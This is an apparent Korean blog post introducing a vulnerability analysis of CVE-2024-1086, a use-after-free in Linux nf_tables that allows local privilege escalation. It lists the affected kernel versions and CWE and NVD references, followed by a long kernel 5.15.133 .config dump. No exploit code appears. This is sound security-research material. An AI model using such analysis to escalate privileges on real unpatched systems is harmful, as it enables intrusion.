[CVE] nf_tabes (CVE-2024-1086)

 

해당 Target에 대한 정보는 앞서 포스팅한 CVE-2022-1015, CVE-2022-1016을 참고하면 된다.

https://whrdud727.tistory.com/entry/CVE-nftables-CVE-2022-1016

 

1.  Target

---

nf_tables

• Linux Kernel의 Netfilter 시스템에서 동작하는 규칙 기반 packit filtering 시스템이다. 

 

Netfilter

• Linux에서 패킷 필터링과 패킷 처리를 관리하는 핵심 component

 

 

 

 

2. CVE & CWE

---

CVE-2024-1086

Linux Kernel의 Netfilter:nf_tables 구성 요소 중 nf_hook_slow()에서 이중으로 메모리를 해제하면서 발생하는 UAF 취약점이다.

: 권한 상승 공격(LPE)가 가능하다. 

 

취약한 Version

: 3.15 ~ 5.15.149

: 6.1 ~ 6.1.76

: 6.2 ~ 6.6.15

: 6.7 ~ 6.7.3

 

CWE-416

메모리가 해제된 이후 다시 사용되거나 참조될 때 발생하는 Use After Free 취약점

 

 

 

 

 

3. CVE 관련 정보

---

https://nvd.nist.gov/vuln/detail/cve-2024-1086

NVD - cve-2024-1086

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1086

CVE - CVE-2024-1086

https://cwe.mitre.org/data/definitions/416.html

 

 

Kernel 5.15.133 에서 분석 진행

.config 파일 정보 <- 필요하신 분은 접은 글 확인

#
# Automatically generated file; DO NOT EDIT.
# Linux/x86 5.15.133 Kernel Configuration
#
CONFIG_CC_VERSION_TEXT="gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0"
CONFIG_CC_IS_GCC=y
CONFIG_GCC_VERSION=110400
CONFIG_CLANG_VERSION=0
CONFIG_AS_IS_GNU=y
CONFIG_AS_VERSION=23800
CONFIG_LD_IS_BFD=y
CONFIG_LD_VERSION=23800
CONFIG_LLD_VERSION=0
CONFIG_CC_CAN_LINK=y
CONFIG_CC_CAN_LINK_STATIC=y
CONFIG_CC_HAS_ASM_GOTO=y
CONFIG_CC_HAS_ASM_GOTO_OUTPUT=y
CONFIG_CC_HAS_ASM_GOTO_TIED_OUTPUT=y
CONFIG_CC_HAS_ASM_INLINE=y
CONFIG_CC_HAS_NO_PROFILE_FN_ATTR=y
CONFIG_PAHOLE_VERSION=0
CONFIG_IRQ_WORK=y
CONFIG_BUILDTIME_TABLE_SORT=y
CONFIG_THREAD_INFO_IN_TASK=y

#
# General setup
#
CONFIG_BROKEN_ON_SMP=y
CONFIG_INIT_ENV_ARG_LIMIT=32
# CONFIG_COMPILE_TEST is not set
# CONFIG_WERROR is not set
CONFIG_LOCALVERSION=""
CONFIG_LOCALVERSION_AUTO=y
CONFIG_BUILD_SALT=""
CONFIG_HAVE_KERNEL_GZIP=y
CONFIG_HAVE_KERNEL_BZIP2=y
CONFIG_HAVE_KERNEL_LZMA=y
CONFIG_HAVE_KERNEL_XZ=y
CONFIG_HAVE_KERNEL_LZO=y
CONFIG_HAVE_KERNEL_LZ4=y
CONFIG_HAVE_KERNEL_ZSTD=y
CONFIG_KERNEL_GZIP=y
# CONFIG_KERNEL_BZIP2 is not set
# CONFIG_KERNEL_LZMA is not set
# CONFIG_KERNEL_XZ is not set
# CONFIG_KERNEL_LZO is not set
# CONFIG_KERNEL_LZ4 is not set
# CONFIG_KERNEL_ZSTD is not set
CONFIG_DEFAULT_INIT=""
CONFIG_DEFAULT_HOSTNAME="(none)"
CONFIG_SWAP=y
# CONFIG_SYSVIPC is not set
# CONFIG_WATCH_QUEUE is not set
CONFIG_CROSS_MEMORY_ATTACH=y
# CONFIG_USELIB is not set
CONFIG_HAVE_ARCH_AUDITSYSCALL=y

#
# IRQ subsystem
#
CONFIG_GENERIC_IRQ_PROBE=y
CONFIG_GENERIC_IRQ_SHOW=y
CONFIG_HARDIRQS_SW_RESEND=y
CONFIG_IRQ_DOMAIN=y
CONFIG_IRQ_DOMAIN_HIERARCHY=y
CONFIG_GENERIC_IRQ_MATRIX_ALLOCATOR=y
CONFIG_GENERIC_IRQ_RESERVATION_MODE=y
CONFIG_IRQ_FORCED_THREADING=y
CONFIG_SPARSE_IRQ=y
# CONFIG_GENERIC_IRQ_DEBUGFS is not set
# end of IRQ subsystem

CONFIG_CLOCKSOURCE_WATCHDOG=y
CONFIG_ARCH_CLOCKSOURCE_INIT=y
CONFIG_CLOCKSOURCE_VALIDATE_LAST_CYCLE=y
CONFIG_GENERIC_TIME_VSYSCALL=y
CONFIG_GENERIC_CLOCKEVENTS=y
CONFIG_GENERIC_CLOCKEVENTS_BROADCAST=y
CONFIG_GENERIC_CLOCKEVENTS_MIN_ADJUST=y
CONFIG_GENERIC_CMOS_UPDATE=y
CONFIG_HAVE_POSIX_CPU_TIMERS_TASK_WORK=y
CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y

#
# Timers subsystem
#
CONFIG_HZ_PERIODIC=y
# CONFIG_NO_HZ_IDLE is not set
# CONFIG_NO_HZ is not set
# CONFIG_HIGH_RES_TIMERS is not set
# end of Timers subsystem

CONFIG_HAVE_EBPF_JIT=y
CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y

#
# BPF subsystem
#
# CONFIG_BPF_SYSCALL is not set
# end of BPF subsystem

CONFIG_PREEMPT_NONE=y
# CONFIG_PREEMPT_VOLUNTARY is not set
# CONFIG_PREEMPT is not set

#
# CPU/Task time and stats accounting
#
CONFIG_TICK_CPU_ACCOUNTING=y
# CONFIG_VIRT_CPU_ACCOUNTING_GEN is not set
# CONFIG_IRQ_TIME_ACCOUNTING is not set
# CONFIG_BSD_PROCESS_ACCT is not set
# CONFIG_PSI is not set
# end of CPU/Task time and stats accounting

#
# RCU Subsystem
#
CONFIG_TINY_RCU=y
# CONFIG_RCU_EXPERT is not set
CONFIG_SRCU=y
CONFIG_TINY_SRCU=y
CONFIG_TASKS_RCU_GENERIC=y
CONFIG_TASKS_RUDE_RCU=y
# end of RCU Subsystem

# CONFIG_IKCONFIG is not set
# CONFIG_IKHEADERS is not set
CONFIG_LOG_BUF_SHIFT=17
CONFIG_PRINTK_SAFE_LOG_BUF_SHIFT=13
# CONFIG_PRINTK_INDEX is not set
CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y

#
# Scheduler features
#
# end of Scheduler features

CONFIG_ARCH_SUPPORTS_NUMA_BALANCING=y
CONFIG_ARCH_WANT_BATCHED_UNMAP_TLB_FLUSH=y
CONFIG_CC_HAS_INT128=y
CONFIG_ARCH_SUPPORTS_INT128=y
# CONFIG_CGROUPS is not set
CONFIG_NAMESPACES=y
CONFIG_UTS_NS=y
CONFIG_TIME_NS=y
# CONFIG_USER_NS is not set
CONFIG_PID_NS=y
# CONFIG_CHECKPOINT_RESTORE is not set
# CONFIG_SCHED_AUTOGROUP is not set
# CONFIG_SYSFS_DEPRECATED is not set
# CONFIG_RELAY is not set
# CONFIG_BLK_DEV_INITRD is not set
# CONFIG_BOOT_CONFIG is not set
CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE=y
# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set
CONFIG_LD_ORPHAN_WARN=y
CONFIG_SYSCTL=y
CONFIG_SYSCTL_EXCEPTION_TRACE=y
CONFIG_HAVE_PCSPKR_PLATFORM=y
# CONFIG_EXPERT is not set
CONFIG_MULTIUSER=y
CONFIG_SGETMASK_SYSCALL=y
CONFIG_SYSFS_SYSCALL=y
CONFIG_FHANDLE=y
CONFIG_POSIX_TIMERS=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_PCSPKR_PLATFORM=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_FUTEX_PI=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_AIO=y
CONFIG_IO_URING=y
CONFIG_ADVISE_SYSCALLS=y
CONFIG_MEMBARRIER=y
CONFIG_KALLSYMS=y
# CONFIG_KALLSYMS_ALL is not set
CONFIG_KALLSYMS_BASE_RELATIVE=y
# CONFIG_USERFAULTFD is not set
CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y
CONFIG_RSEQ=y
# CONFIG_EMBEDDED is not set
CONFIG_HAVE_PERF_EVENTS=y

#
# Kernel Performance Events And Counters
#
CONFIG_PERF_EVENTS=y
# CONFIG_DEBUG_PERF_USE_VMALLOC is not set
# end of Kernel Performance Events And Counters

CONFIG_VM_EVENT_COUNTERS=y
CONFIG_SLUB_DEBUG=y
CONFIG_COMPAT_BRK=y
# CONFIG_SLAB is not set
CONFIG_SLUB=y
CONFIG_SLAB_MERGE_DEFAULT=y
# CONFIG_SLAB_FREELIST_RANDOM is not set
# CONFIG_SLAB_FREELIST_HARDENED is not set
# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set
# CONFIG_PROFILING is not set
CONFIG_TRACEPOINTS=y
# end of General setup

CONFIG_64BIT=y
CONFIG_X86_64=y
CONFIG_X86=y
CONFIG_INSTRUCTION_DECODER=y
CONFIG_OUTPUT_FORMAT="elf64-x86-64"
CONFIG_LOCKDEP_SUPPORT=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_MMU=y
CONFIG_ARCH_MMAP_RND_BITS_MIN=28
CONFIG_ARCH_MMAP_RND_BITS_MAX=32
CONFIG_ARCH_MMAP_RND_COMPAT_BITS_MIN=8
CONFIG_ARCH_MMAP_RND_COMPAT_BITS_MAX=16
CONFIG_GENERIC_ISA_DMA=y
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_BUG_RELATIVE_POINTERS=y
CONFIG_ARCH_MAY_HAVE_PC_FDC=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_ARCH_HAS_CPU_RELAX=y
CONFIG_ARCH_HAS_FILTER_PGPROT=y
CONFIG_HAVE_SETUP_PER_CPU_AREA=y
CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y
CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y
CONFIG_ARCH_HIBERNATION_POSSIBLE=y
CONFIG_ARCH_NR_GPIO=1024
CONFIG_ARCH_SUSPEND_POSSIBLE=y
CONFIG_ARCH_WANT_GENERAL_HUGETLB=y
CONFIG_AUDIT_ARCH=y
CONFIG_ARCH_SUPPORTS_UPROBES=y
CONFIG_FIX_EARLYCON_MEM=y
CONFIG_PGTABLE_LEVELS=5
CONFIG_CC_HAS_SANE_STACKPROTECTOR=y

#
# Processor type and features
#
# CONFIG_SMP is not set
CONFIG_X86_FEATURE_NAMES=y
CONFIG_X86_MPPARSE=y
# CONFIG_GOLDFISH is not set
# CONFIG_X86_CPU_RESCTRL is not set
CONFIG_X86_EXTENDED_PLATFORM=y
# CONFIG_X86_GOLDFISH is not set
# CONFIG_X86_AMD_PLATFORM_DEVICE is not set
CONFIG_X86_SUPPORTS_MEMORY_FAILURE=y
CONFIG_SCHED_OMIT_FRAME_POINTER=y
# CONFIG_HYPERVISOR_GUEST is not set
# CONFIG_MK8 is not set
# CONFIG_MPSC is not set
# CONFIG_MCORE2 is not set
# CONFIG_MATOM is not set
CONFIG_GENERIC_CPU=y
CONFIG_X86_INTERNODE_CACHE_SHIFT=6
CONFIG_X86_L1_CACHE_SHIFT=6
CONFIG_X86_TSC=y
CONFIG_X86_CMPXCHG64=y
CONFIG_X86_CMOV=y
CONFIG_X86_MINIMUM_CPU_FAMILY=64
CONFIG_X86_DEBUGCTLMSR=y
CONFIG_IA32_FEAT_CTL=y
CONFIG_X86_VMX_FEATURE_NAMES=y
CONFIG_CPU_SUP_INTEL=y
CONFIG_CPU_SUP_AMD=y
CONFIG_CPU_SUP_HYGON=y
CONFIG_CPU_SUP_CENTAUR=y
CONFIG_CPU_SUP_ZHAOXIN=y
CONFIG_HPET_TIMER=y
CONFIG_DMI=y
CONFIG_NR_CPUS_RANGE_BEGIN=1
CONFIG_NR_CPUS_RANGE_END=1
CONFIG_NR_CPUS_DEFAULT=1
CONFIG_NR_CPUS=1
CONFIG_UP_LATE_INIT=y
CONFIG_X86_LOCAL_APIC=y
CONFIG_X86_IO_APIC=y
# CONFIG_X86_REROUTE_FOR_BROKEN_BOOT_IRQS is not set
CONFIG_X86_MCE=y
# CONFIG_X86_MCELOG_LEGACY is not set
CONFIG_X86_MCE_INTEL=y
CONFIG_X86_MCE_THRESHOLD=y
# CONFIG_X86_MCE_INJECT is not set

#
# Performance monitoring
#
# CONFIG_PERF_EVENTS_AMD_POWER is not set
CONFIG_PERF_EVENTS_AMD_UNCORE=y
# end of Performance monitoring

CONFIG_X86_16BIT=y
CONFIG_X86_ESPFIX64=y
CONFIG_X86_VSYSCALL_EMULATION=y
CONFIG_X86_IOPL_IOPERM=y
# CONFIG_I8K is not set
CONFIG_MICROCODE=y
CONFIG_MICROCODE_INTEL=y
# CONFIG_MICROCODE_AMD is not set
# CONFIG_MICROCODE_LATE_LOADING is not set
# CONFIG_X86_MSR is not set
# CONFIG_X86_CPUID is not set
CONFIG_X86_5LEVEL=y
CONFIG_X86_DIRECT_GBPAGES=y
# CONFIG_X86_CPA_STATISTICS is not set
# CONFIG_AMD_MEM_ENCRYPT is not set
CONFIG_ARCH_SPARSEMEM_ENABLE=y
CONFIG_ARCH_SPARSEMEM_DEFAULT=y
CONFIG_ARCH_SELECT_MEMORY_MODEL=y
CONFIG_ARCH_PROC_KCORE_TEXT=y
CONFIG_ILLEGAL_POINTER_VALUE=0xdead000000000000
# CONFIG_X86_PMEM_LEGACY is not set
# CONFIG_X86_CHECK_BIOS_CORRUPTION is not set
CONFIG_MTRR=y
CONFIG_MTRR_SANITIZER=y
CONFIG_MTRR_SANITIZER_ENABLE_DEFAULT=0
CONFIG_MTRR_SANITIZER_SPARE_REG_NR_DEFAULT=1
CONFIG_X86_PAT=y
CONFIG_ARCH_USES_PG_UNCACHED=y
CONFIG_ARCH_RANDOM=y
CONFIG_X86_SMAP=y
CONFIG_X86_UMIP=y
CONFIG_X86_INTEL_MEMORY_PROTECTION_KEYS=y
CONFIG_X86_INTEL_TSX_MODE_OFF=y
# CONFIG_X86_INTEL_TSX_MODE_ON is not set
# CONFIG_X86_INTEL_TSX_MODE_AUTO is not set
# CONFIG_X86_SGX is not set
# CONFIG_EFI is not set
# CONFIG_HZ_100 is not set
CONFIG_HZ_250=y
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=250
# CONFIG_KEXEC is not set
# CONFIG_KEXEC_FILE is not set
# CONFIG_CRASH_DUMP is not set
CONFIG_PHYSICAL_START=0x1000000
CONFIG_RELOCATABLE=y
CONFIG_RANDOMIZE_BASE=y
CONFIG_X86_NEED_RELOCS=y
CONFIG_PHYSICAL_ALIGN=0x200000
CONFIG_DYNAMIC_MEMORY_LAYOUT=y
CONFIG_RANDOMIZE_MEMORY=y
CONFIG_RANDOMIZE_MEMORY_PHYSICAL_PADDING=0x0
# CONFIG_LEGACY_VSYSCALL_EMULATE is not set
CONFIG_LEGACY_VSYSCALL_XONLY=y
# CONFIG_LEGACY_VSYSCALL_NONE is not set
# CONFIG_CMDLINE_BOOL is not set
CONFIG_MODIFY_LDT_SYSCALL=y
CONFIG_HAVE_LIVEPATCH=y
# end of Processor type and features

CONFIG_CC_HAS_SLS=y
CONFIG_CC_HAS_RETURN_THUNK=y
CONFIG_SPECULATION_MITIGATIONS=y
CONFIG_PAGE_TABLE_ISOLATION=y
CONFIG_RETPOLINE=y
CONFIG_RETHUNK=y
CONFIG_CPU_UNRET_ENTRY=y
CONFIG_CPU_IBPB_ENTRY=y
CONFIG_CPU_IBRS_ENTRY=y
CONFIG_CPU_SRSO=y
# CONFIG_SLS is not set
# CONFIG_GDS_FORCE_MITIGATION is not set
CONFIG_ARCH_HAS_ADD_PAGES=y
CONFIG_ARCH_MHP_MEMMAP_ON_MEMORY_ENABLE=y

#
# Power management and ACPI options
#
CONFIG_SUSPEND=y
CONFIG_SUSPEND_FREEZER=y
# CONFIG_HIBERNATION is not set
CONFIG_PM_SLEEP=y
# CONFIG_PM_AUTOSLEEP is not set
# CONFIG_PM_WAKELOCKS is not set
CONFIG_PM=y
# CONFIG_PM_DEBUG is not set
# CONFIG_WQ_POWER_EFFICIENT_DEFAULT is not set
CONFIG_ARCH_SUPPORTS_ACPI=y
CONFIG_ACPI=y
CONFIG_ACPI_LEGACY_TABLES_LOOKUP=y
CONFIG_ARCH_MIGHT_HAVE_ACPI_PDC=y
CONFIG_ACPI_SYSTEM_POWER_STATES_SUPPORT=y
# CONFIG_ACPI_DEBUGGER is not set
CONFIG_ACPI_SPCR_TABLE=y
# CONFIG_ACPI_FPDT is not set
CONFIG_ACPI_LPIT=y
CONFIG_ACPI_SLEEP=y
CONFIG_ACPI_REV_OVERRIDE_POSSIBLE=y
# CONFIG_ACPI_EC_DEBUGFS is not set
CONFIG_ACPI_AC=y
CONFIG_ACPI_BATTERY=y
CONFIG_ACPI_BUTTON=y
CONFIG_ACPI_FAN=y
# CONFIG_ACPI_TAD is not set
# CONFIG_ACPI_DOCK is not set
CONFIG_ACPI_CPU_FREQ_PSS=y
CONFIG_ACPI_PROCESSOR_CSTATE=y
CONFIG_ACPI_PROCESSOR_IDLE=y
CONFIG_ACPI_PROCESSOR=y
# CONFIG_ACPI_PROCESSOR_AGGREGATOR is not set
CONFIG_ACPI_THERMAL=y
CONFIG_ARCH_HAS_ACPI_TABLE_UPGRADE=y
# CONFIG_ACPI_DEBUG is not set
# CONFIG_ACPI_CONTAINER is not set
# CONFIG_ACPI_SBS is not set
# CONFIG_ACPI_HED is not set
# CONFIG_ACPI_CUSTOM_METHOD is not set
# CONFIG_ACPI_NFIT is not set
CONFIG_HAVE_ACPI_APEI=y
CONFIG_HAVE_ACPI_APEI_NMI=y
# CONFIG_ACPI_APEI is not set
# CONFIG_ACPI_DPTF is not set
# CONFIG_ACPI_CONFIGFS is not set
# CONFIG_PMIC_OPREGION is not set
CONFIG_X86_PM_TIMER=y

#
# CPU Frequency scaling
#
# CONFIG_CPU_FREQ is not set
# end of CPU Frequency scaling

#
# CPU Idle
#
CONFIG_CPU_IDLE=y
CONFIG_CPU_IDLE_GOV_LADDER=y
# CONFIG_CPU_IDLE_GOV_MENU is not set
# CONFIG_CPU_IDLE_GOV_TEO is not set
# end of CPU Idle

# CONFIG_INTEL_IDLE is not set
# end of Power management and ACPI options

#
# Bus options (PCI etc.)
#
CONFIG_ISA_DMA_API=y
# end of Bus options (PCI etc.)

#
# Binary Emulations
#
# CONFIG_IA32_EMULATION is not set
# CONFIG_X86_X32 is not set
# end of Binary Emulations

CONFIG_HAVE_KVM=y
CONFIG_VIRTUALIZATION=y
CONFIG_AS_AVX512=y
CONFIG_AS_SHA1_NI=y
CONFIG_AS_SHA256_NI=y
CONFIG_AS_TPAUSE=y

#
# General architecture-dependent options
#
CONFIG_CRASH_CORE=y
CONFIG_GENERIC_ENTRY=y
# CONFIG_JUMP_LABEL is not set
# CONFIG_STATIC_CALL_SELFTEST is not set
CONFIG_UPROBES=y
CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS=y
CONFIG_ARCH_USE_BUILTIN_BSWAP=y
CONFIG_HAVE_IOREMAP_PROT=y
CONFIG_HAVE_KPROBES=y
CONFIG_HAVE_KRETPROBES=y
CONFIG_HAVE_OPTPROBES=y
CONFIG_HAVE_KPROBES_ON_FTRACE=y
CONFIG_HAVE_FUNCTION_ERROR_INJECTION=y
CONFIG_HAVE_NMI=y
CONFIG_TRACE_IRQFLAGS_SUPPORT=y
CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y
CONFIG_HAVE_ARCH_TRACEHOOK=y
CONFIG_HAVE_DMA_CONTIGUOUS=y
CONFIG_GENERIC_SMP_IDLE_THREAD=y
CONFIG_ARCH_HAS_FORTIFY_SOURCE=y
CONFIG_ARCH_HAS_SET_MEMORY=y
CONFIG_ARCH_HAS_SET_DIRECT_MAP=y
CONFIG_ARCH_HAS_CPU_FINALIZE_INIT=y
CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y
CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y
CONFIG_ARCH_WANTS_NO_INSTR=y
CONFIG_HAVE_ASM_MODVERSIONS=y
CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y
CONFIG_HAVE_RSEQ=y
CONFIG_HAVE_FUNCTION_ARG_ACCESS_API=y
CONFIG_HAVE_HW_BREAKPOINT=y
CONFIG_HAVE_MIXED_BREAKPOINTS_REGS=y
CONFIG_HAVE_USER_RETURN_NOTIFIER=y
CONFIG_HAVE_PERF_EVENTS_NMI=y
CONFIG_HAVE_HARDLOCKUP_DETECTOR_PERF=y
CONFIG_HAVE_PERF_REGS=y
CONFIG_HAVE_PERF_USER_STACK_DUMP=y
CONFIG_HAVE_ARCH_JUMP_LABEL=y
CONFIG_HAVE_ARCH_JUMP_LABEL_RELATIVE=y
CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y
CONFIG_HAVE_ALIGNED_STRUCT_PAGE=y
CONFIG_HAVE_CMPXCHG_LOCAL=y
CONFIG_HAVE_CMPXCHG_DOUBLE=y
CONFIG_HAVE_ARCH_SECCOMP=y
CONFIG_HAVE_ARCH_SECCOMP_FILTER=y
CONFIG_SECCOMP=y
CONFIG_HAVE_ARCH_STACKLEAK=y
CONFIG_HAVE_STACKPROTECTOR=y
CONFIG_STACKPROTECTOR=y
CONFIG_STACKPROTECTOR_STRONG=y
CONFIG_ARCH_SUPPORTS_LTO_CLANG=y
CONFIG_ARCH_SUPPORTS_LTO_CLANG_THIN=y
CONFIG_LTO_NONE=y
CONFIG_HAVE_ARCH_WITHIN_STACK_FRAMES=y
CONFIG_HAVE_CONTEXT_TRACKING=y
CONFIG_HAVE_CONTEXT_TRACKING_OFFSTACK=y
CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y
CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y
CONFIG_HAVE_MOVE_PUD=y
CONFIG_HAVE_MOVE_PMD=y
CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE=y
CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE_PUD=y
CONFIG_HAVE_ARCH_HUGE_VMAP=y
CONFIG_ARCH_WANT_HUGE_PMD_SHARE=y
CONFIG_HAVE_ARCH_SOFT_DIRTY=y
CONFIG_HAVE_MOD_ARCH_SPECIFIC=y
CONFIG_MODULES_USE_ELF_RELA=y
CONFIG_HAVE_IRQ_EXIT_ON_IRQ_STACK=y
CONFIG_HAVE_SOFTIRQ_ON_OWN_STACK=y
CONFIG_ARCH_HAS_ELF_RANDOMIZE=y
CONFIG_HAVE_ARCH_MMAP_RND_BITS=y
CONFIG_HAVE_EXIT_THREAD=y
CONFIG_ARCH_MMAP_RND_BITS=28
CONFIG_HAVE_STACK_VALIDATION=y
CONFIG_HAVE_RELIABLE_STACKTRACE=y
# CONFIG_COMPAT_32BIT_TIME is not set
CONFIG_HAVE_ARCH_VMAP_STACK=y
CONFIG_VMAP_STACK=y
CONFIG_HAVE_ARCH_RANDOMIZE_KSTACK_OFFSET=y
# CONFIG_RANDOMIZE_KSTACK_OFFSET_DEFAULT is not set
CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y
CONFIG_STRICT_KERNEL_RWX=y
CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y
CONFIG_HAVE_ARCH_PREL32_RELOCATIONS=y
# CONFIG_LOCK_EVENT_COUNTS is not set
CONFIG_ARCH_HAS_MEM_ENCRYPT=y
CONFIG_HAVE_STATIC_CALL=y
CONFIG_HAVE_STATIC_CALL_INLINE=y
CONFIG_HAVE_PREEMPT_DYNAMIC=y
CONFIG_ARCH_WANT_LD_ORPHAN_WARN=y
CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y
CONFIG_ARCH_HAS_ELFCORE_COMPAT=y
CONFIG_ARCH_HAS_PARANOID_L1D_FLUSH=y

#
# GCOV-based kernel profiling
#
# CONFIG_GCOV_KERNEL is not set
CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y
# end of GCOV-based kernel profiling

CONFIG_HAVE_GCC_PLUGINS=y
CONFIG_GCC_PLUGINS=y
# CONFIG_GCC_PLUGIN_LATENT_ENTROPY is not set
# CONFIG_GCC_PLUGIN_RANDSTRUCT is not set
# end of General architecture-dependent options

CONFIG_RT_MUTEXES=y
CONFIG_BASE_SMALL=0
# CONFIG_MODULES is not set
CONFIG_MODULES_TREE_LOOKUP=y
CONFIG_BLOCK=y
# CONFIG_BLK_DEV_BSGLIB is not set
# CONFIG_BLK_DEV_INTEGRITY is not set
# CONFIG_BLK_DEV_ZONED is not set
# CONFIG_BLK_WBT is not set
CONFIG_BLK_DEBUG_FS=y
# CONFIG_BLK_SED_OPAL is not set
# CONFIG_BLK_INLINE_ENCRYPTION is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
CONFIG_EFI_PARTITION=y
# end of Partition Types

CONFIG_BLK_MQ_VIRTIO=y
CONFIG_BLK_PM=y

#
# IO Schedulers
#
CONFIG_MQ_IOSCHED_DEADLINE=y
CONFIG_MQ_IOSCHED_KYBER=y
# CONFIG_IOSCHED_BFQ is not set
# end of IO Schedulers

CONFIG_ASN1=y
CONFIG_INLINE_SPIN_UNLOCK_IRQ=y
CONFIG_INLINE_READ_UNLOCK=y
CONFIG_INLINE_READ_UNLOCK_IRQ=y
CONFIG_INLINE_WRITE_UNLOCK=y
CONFIG_INLINE_WRITE_UNLOCK_IRQ=y
CONFIG_ARCH_SUPPORTS_ATOMIC_RMW=y
CONFIG_ARCH_USE_QUEUED_SPINLOCKS=y
CONFIG_ARCH_USE_QUEUED_RWLOCKS=y
CONFIG_ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE=y
CONFIG_ARCH_HAS_SYNC_CORE_BEFORE_USERMODE=y
CONFIG_ARCH_HAS_SYSCALL_WRAPPER=y
CONFIG_FREEZER=y

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
CONFIG_ELFCORE=y
CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS=y
CONFIG_BINFMT_SCRIPT=y
# CONFIG_BINFMT_MISC is not set
CONFIG_COREDUMP=y
# end of Executable file formats

#
# Memory Management options
#
CONFIG_SELECT_MEMORY_MODEL=y
CONFIG_SPARSEMEM_MANUAL=y
CONFIG_SPARSEMEM=y
CONFIG_SPARSEMEM_EXTREME=y
CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y
CONFIG_SPARSEMEM_VMEMMAP=y
CONFIG_HAVE_FAST_GUP=y
CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y
# CONFIG_MEMORY_HOTPLUG is not set
CONFIG_SPLIT_PTLOCK_CPUS=4
CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y
CONFIG_COMPACTION=y
# CONFIG_PAGE_REPORTING is not set
CONFIG_MIGRATION=y
CONFIG_ARCH_ENABLE_HUGEPAGE_MIGRATION=y
CONFIG_PHYS_ADDR_T_64BIT=y
CONFIG_VIRT_TO_BUS=y
# CONFIG_KSM is not set
CONFIG_DEFAULT_MMAP_MIN_ADDR=4096
CONFIG_ARCH_SUPPORTS_MEMORY_FAILURE=y
# CONFIG_MEMORY_FAILURE is not set
# CONFIG_TRANSPARENT_HUGEPAGE is not set
CONFIG_ARCH_WANTS_THP_SWAP=y
CONFIG_NEED_PER_CPU_KM=y
# CONFIG_CLEANCACHE is not set
# CONFIG_FRONTSWAP is not set
# CONFIG_CMA is not set
# CONFIG_ZPOOL is not set
# CONFIG_ZSMALLOC is not set
CONFIG_GENERIC_EARLY_IOREMAP=y
# CONFIG_IDLE_PAGE_TRACKING is not set
CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y
CONFIG_ARCH_HAS_PTE_DEVMAP=y
CONFIG_ZONE_DMA=y
CONFIG_ZONE_DMA32=y
CONFIG_ARCH_USES_HIGH_VMA_FLAGS=y
CONFIG_ARCH_HAS_PKEYS=y
# CONFIG_PERCPU_STATS is not set
# CONFIG_GUP_TEST is not set
CONFIG_ARCH_HAS_PTE_SPECIAL=y
CONFIG_SECRETMEM=y

#
# Data Access Monitoring
#
# CONFIG_DAMON is not set
# end of Data Access Monitoring
# end of Memory Management options

# CONFIG_NET is not set

#
# Device Drivers
#
CONFIG_HAVE_EISA=y
# CONFIG_EISA is not set
CONFIG_HAVE_PCI=y
# CONFIG_PCI is not set
# CONFIG_PCCARD is not set

#
# Generic Driver Options
#
# CONFIG_UEVENT_HELPER is not set
# CONFIG_DEVTMPFS is not set
CONFIG_STANDALONE=y
CONFIG_PREVENT_FIRMWARE_BUILD=y

#
# Firmware loader
#
CONFIG_FW_LOADER=y
CONFIG_EXTRA_FIRMWARE=""
# CONFIG_FW_LOADER_USER_HELPER is not set
# CONFIG_FW_LOADER_COMPRESS is not set
CONFIG_FW_CACHE=y
# end of Firmware loader

CONFIG_ALLOW_DEV_COREDUMP=y
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
# CONFIG_DEBUG_TEST_DRIVER_REMOVE is not set
CONFIG_GENERIC_CPU_AUTOPROBE=y
CONFIG_GENERIC_CPU_VULNERABILITIES=y
# end of Generic Driver Options

#
# Bus devices
#
# CONFIG_MHI_BUS is not set
# end of Bus devices

#
# Firmware Drivers
#

#
# ARM System Control and Management Interface Protocol
#
# end of ARM System Control and Management Interface Protocol

# CONFIG_EDD is not set
CONFIG_FIRMWARE_MEMMAP=y
CONFIG_DMIID=y
# CONFIG_DMI_SYSFS is not set
CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y
# CONFIG_FW_CFG_SYSFS is not set
